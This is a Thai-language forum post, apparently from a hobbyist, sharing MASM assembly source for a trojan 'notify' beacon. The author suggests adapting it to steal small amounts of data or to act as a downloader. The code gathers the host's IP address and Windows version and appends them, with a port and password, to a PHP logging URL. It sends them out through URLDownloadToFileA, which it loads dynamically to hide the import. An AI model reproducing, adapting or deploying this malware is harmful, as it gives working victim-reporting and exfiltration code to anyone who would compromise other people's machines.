โค้ดนี้เขียนขึ้นมาเล่นๆ ได้ ไอเดียมาจาก Notify ของโทรจัน ปกติจะเขียนด้วย delphi,vb,c,c++ แต่โค้ดนี้ Masm
สามารถดัดแปลงไปใช้ในการขโมยข้อมูล ขนาดเล็กๆ ได้ หรือ เป็น downloader ก็ได้

3k Unpack
1.66k Pack กับ FSG2.0


สงสัยจะมีเพียงเราเค้าใจอยู่คนเดียว อีกตามเคย :P



.386
.model flat, stdcall

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

include \masm32\include\wsock32.inc
includelib \masm32\lib\wsock32.lib

include \masm32\include\masm32.inc
includelib \masm32\lib\masm32.lib

phpsend proto
ShowIP proto
Main proto
GetOs proto

.data
s_url byte 'http://127.0.0.1/phpfiles/index.php', 0
s_prm1 BYTE '?action=log&ip=', 0
s_prm2 BYTE '&port=', 0
s_port BYTE '100',0
s_prm3 BYTE '&password=', 0
s_pwd BYTE '1234',0
s_prm4 BYTE '&opsys=', 0
s_prm5 BYTE ' ', 0

szOs db 200h dup(0)
szNumber db 20h dup(0)

szW3X db "W3.X ",0
szW95 db "Windows 95 ",0
szW98 db "Windows 98 ",0
szWME db "Windows ME ",0
szNT3 db "Windows NT3 ",0
szNT4 db "Windows NT4 ",0
szW2K db "Windows 2000 ",0
szWXP db "Windows XP ",0
szWXX db "Windows New ",0

urlDDl byte 'URLDownloadToFileA',0
dllDll byte 'urlmon.dll',0

.data?
UrlMonDll byte 11 dup (?)
UrlDownload byte 19 dup (?)
UrlMon dword ?
UrlDownloadToFile dword ?

showip BYTE 261 DUP(?)

s_result1 BYTE 255 DUP(?)
s_result2 BYTE 255 DUP(?)
s_result3 BYTE 255 DUP(?)
s_result4 BYTE 255 DUP(?)
s_result5 BYTE 255 DUP(?)

s_result11 BYTE 255 DUP(?)
s_result22 BYTE 255 DUP(?)
s_result33 BYTE 255 DUP(?)

s_result111 BYTE 255 DUP(?)
s_result222 BYTE 255 DUP(?)

WSAData WSADATA <>

l_OSVERSIONINFO OSVERSIONINFOEX <>

.code


StrLen PROC __InStringWORD ;EAX => Result
PUSH EBX
PUSH EDX
PUSH ESI
XOR ESI , ESI
DEC ESI
MOV EBX , __InString
@_Loop: INC ESI
MOV DL , [EBX + ESI]
TEST DL , DL
JNE @_Loop
MOV EAX , ESI
POP ESI
POP EDX
POP EBX
RET
StrLen ENDP


StrCat PROC __String1WORD,__String2WORD,__DestinationWORD ;Local Integers to hold the length of each of the strings
LOCAL __Len1WORD
LOCAL __Len2WORD ;Push the registers into the stack
PUSH EBX
PUSH EDX
PUSH ESI ;Get the First String&#39;s Length
INVOKE StrLen , __String1
MOV __Len1 , EAX ;Get the Second String&#39;s Length
INVOKE StrLen , __String2
MOV __Len2 , EAX ;Copy the first string into the Destination
MOV ESI , __String1
MOV EDI , __Destination
MOV ECX , __Len1
REP MOVSB ;Copy the Second string into the Destination
MOV ESI , __String2
MOV EDI , __Destination
ADD EDI , __Len1
MOV ECX , __Len2
REP MOVSB ;Pop the already pushed registers from the stack
POP ESI
POP EDX
POP EBX
RET
StrCat ENDP


GetOs proc
invoke GetModuleHandle, NULL
mov l_OSVERSIONINFO.dwOSVersionInfoSize, SIZEOF OSVERSIONINFO
invoke GetVersionEx, addr l_OSVERSIONINFO

.if l_OSVERSIONINFO.dwPlatformId == VER_PLATFORM_WIN32s
invoke szCatStr, addr szOs, addr szW3X

.elseif l_OSVERSIONINFO.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS
.if l_OSVERSIONINFO.dwMinorVersion == 0
invoke szCatStr, addr szOs, addr szW95
.elseif l_OSVERSIONINFO.dwMinorVersion == 10
invoke szCatStr, addr szOs, addr szW98
.elseif l_OSVERSIONINFO.dwMinorVersion == 90
invoke szCatStr, addr szOs, addr szWME

.else
invoke szCatStr, addr szOs, addr szWXX
.endif

.elseif l_OSVERSIONINFO.dwPlatformId == VER_PLATFORM_WIN32_NT
.if l_OSVERSIONINFO.dwMajorVersion == 3
invoke szCatStr, addr szOs, addr szNT3
.elseif l_OSVERSIONINFO.dwMajorVersion == 4
invoke szCatStr, addr szOs, addr szNT4
.elseif l_OSVERSIONINFO.dwMajorVersion == 5
.if l_OSVERSIONINFO.dwMinorVersion == 0
invoke szCatStr, addr szOs, addr szW2K
.elseif l_OSVERSIONINFO.dwMinorVersion == 1
invoke szCatStr, addr szOs, addr szWXP

.else ;l_OSVERSIONINFO.dwMinorVersion
invoke szCatStr, addr szOs, addr szWXX
.endif

.else ;l_OSVERSIONINFO.dwMajorVersion
invoke szCatStr, addr szOs, addr szWXX
.endif
.else ;l_OSVERSIONINFO.dwPlatformId
invoke szCatStr, addr szOs, addr szWXX
.endif

invoke szCatStr, addr szOs, addr l_OSVERSIONINFO.szCSDVersion
invoke dwtoa, l_OSVERSIONINFO.dwMajorVersion, addr szNumber
invoke dwtoa, l_OSVERSIONINFO.dwMinorVersion, addr szNumber
invoke dwtoa, l_OSVERSIONINFO.dwBuildNumber, addr szNumber
xor eax,eax
mov al, byte ptr l_OSVERSIONINFO.dwBuildNumber + 3
invoke dwtoa, eax, addr szNumber
xor eax,eax
mov al, byte ptr l_OSVERSIONINFO.dwBuildNumber + 2
invoke dwtoa, eax, addr szNumber
xor eax,eax
mov ax, word ptr l_OSVERSIONINFO.dwBuildNumber
invoke dwtoa, eax, addr szNumber
invoke dwtoa, l_OSVERSIONINFO.dwPlatformId, addr szNumber
ret
GetOs endp

ShowIP proc
local ip[261]:byte

invoke gethostname, addr ip, 261
invoke gethostbyname, addr ip
mov eax, [eax + 12]
mov eax, [eax]
mov eax, [eax]
invoke inet_ntoa, eax
invoke lstrcpy , addr showip , eax
;invoke MessageBox, NULL,addr showip, addr showip, MB_OK
ret
ShowIP endp

phpsend proc
INVOKE StrCat, OFFSET s_url, OFFSET s_prm1, OFFSET s_result1
INVOKE StrCat, OFFSET showip, OFFSET s_prm2, OFFSET s_result2
INVOKE StrCat, OFFSET s_port, OFFSET s_prm3, OFFSET s_result3
INVOKE StrCat, OFFSET s_pwd, OFFSET s_prm4, OFFSET s_result4
INVOKE StrCat, OFFSET szOs, OFFSET s_prm5, OFFSET s_result5

INVOKE StrCat, OFFSET s_result1, OFFSET s_result2, OFFSET s_result11
INVOKE StrCat, OFFSET s_result3, OFFSET s_result4, OFFSET s_result22

INVOKE StrCat, OFFSET s_result11, OFFSET s_result22, OFFSET s_result111

INVOKE StrCat, OFFSET s_result111, OFFSET s_result5, OFFSET s_result222

invoke lstrcat, addr UrlMonDll, addr dllDll
invoke lstrcat, addr UrlDownload, addr urlDDl

;loads urlmon.dll
invoke LoadLibrary, addr UrlMonDll
mov UrlMon, eax

;links URLDownloadToFileA dynamically
invoke GetProcAddress, UrlMon, addr UrlDownload
mov UrlDownloadToFile, eax

;send
push 0
push 0
push 0
push offset s_result222
push 0
call UrlDownloadToFile

ret
phpsend endp


Main proc
invoke WSAStartup, 0101h, addr WSAData
invoke ShowIP
invoke GetOs
;invoke Sleep, 1000
invoke phpsend
invoke WSACleanup
ret
Main endp

end Main

[/b]